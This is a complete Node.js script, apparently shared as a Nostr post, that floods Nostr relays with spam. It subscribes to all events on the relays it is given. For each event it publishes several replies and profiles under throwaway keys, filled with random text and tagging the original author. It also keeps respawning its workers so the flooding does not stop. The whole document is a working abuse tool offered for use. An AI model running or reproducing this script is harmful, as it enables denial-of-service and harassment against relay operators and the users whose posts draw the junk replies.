// Save the following as index.js

// Licensed under Public Domain.

// Before running the following, Ensure that you've installed ws and nostr-tools:

// ~/nostrspam $ npm install ws nostr-tools

// Usage: node index.js wss://relay.example1.com wss://relay.example2.com ....

const relays = process.argv.slice(2);

const filter = {} // If needed.

if (!process.env.RELAY_URL && !relays.length) {

console.log("Usage: node index.js [relay-addresses]");

process.exit(1);

}

if (!process.env.RELAY_URL) {

console.log("Relays:", relays.join(", "));

const cluster = require('cluster');

for (RELAY_URL of relays) {

cluster.fork({ RELAY_URL });

}

cluster.on('exit', (worker, code, signal) => {

console.log(`Worker ${worker.process.pid} died. Forking another one....`);

cluster.fork({ RELAY_URL: worker.process.env.RELAY_URL });

});

return;

}

const WebSocket = require('ws');

const crypto = require('crypto');

const { validateEvent, verifySignature, generatePrivateKey, getPublicKey, getEventHash, getSignature } = require('nostr-tools');

const randStr = _ => crypto.randomBytes(_).toString("base64url");

function spam(tags = [], c) {

const privkey = generatePrivateKey();

const pubkey = getPublicKey(privkey);

let profile = {

created_at: Math.floor(Date.now() / 1000),

kind: 0,

pubkey,

content: JSON.stringify({

about: randStr(300),

display_name: randStr(20),

name: randStr(20)

}),

tags: []

}

let event = {

created_at: Math.floor(Date.now() / 1000),

kind: 1,

pubkey,

content: randStr(300),

tags

}

profile.id = getEventHash(profile);

profile.sig = getSignature(profile, privkey);

event.id = getEventHash(event);

event.sig = getSignature(event, privkey);

if (!validateEvent(event) || !verifySignature(event) || !validateEvent(profile) || !verifySignature(profile)) return console.log("invalid");

return [profile, event];

}

function newrelay(addr, eose = false) {

const relay = new WebSocket(addr);

relay.addr = addr;

console.log("connecting", addr)

relay.on('open', _ => {

relay.send(`["REQ", "relayevent", ${JSON.stringify(filter)}]`);

console.log("ESTABLISHED", addr);

});

relay.on('message', data => {

try {

data = JSON.parse(data);

} catch (error) {

return console.error(error);

}

if (data[0] === "OK") return console.log(addr, data.join(" "));

if (data[0] !== "EVENT") return;

const ev = data[2];

for (sendev of spam([["e", ev.id],["p", ev.pubkey]], ev.content)) {

relay.send(JSON.stringify(

["EVENT",

sendev

]

));

}

for (sendev of spam([["e", ev.id]], ev.content)) {

relay.send(JSON.stringify(

["EVENT",

sendev

]

));

}

for (sendev of spam()) {

relay.send(JSON.stringify(

["EVENT",

sendev

]

));

}

console.log(addr, ev.pubkey, ev.id);

});

relay.on('error', _ => console.error(relay.addr, _));

relay.on('close', _ => {

for (i in ['open', 'message', 'error', 'close']) {

relay.removeAllListeners(i);

}

newrelay(addr);

});

}

newrelay(process.env.RELAY_URL);

Reply to this note

Please Login to reply.

Discussion

No replies yet.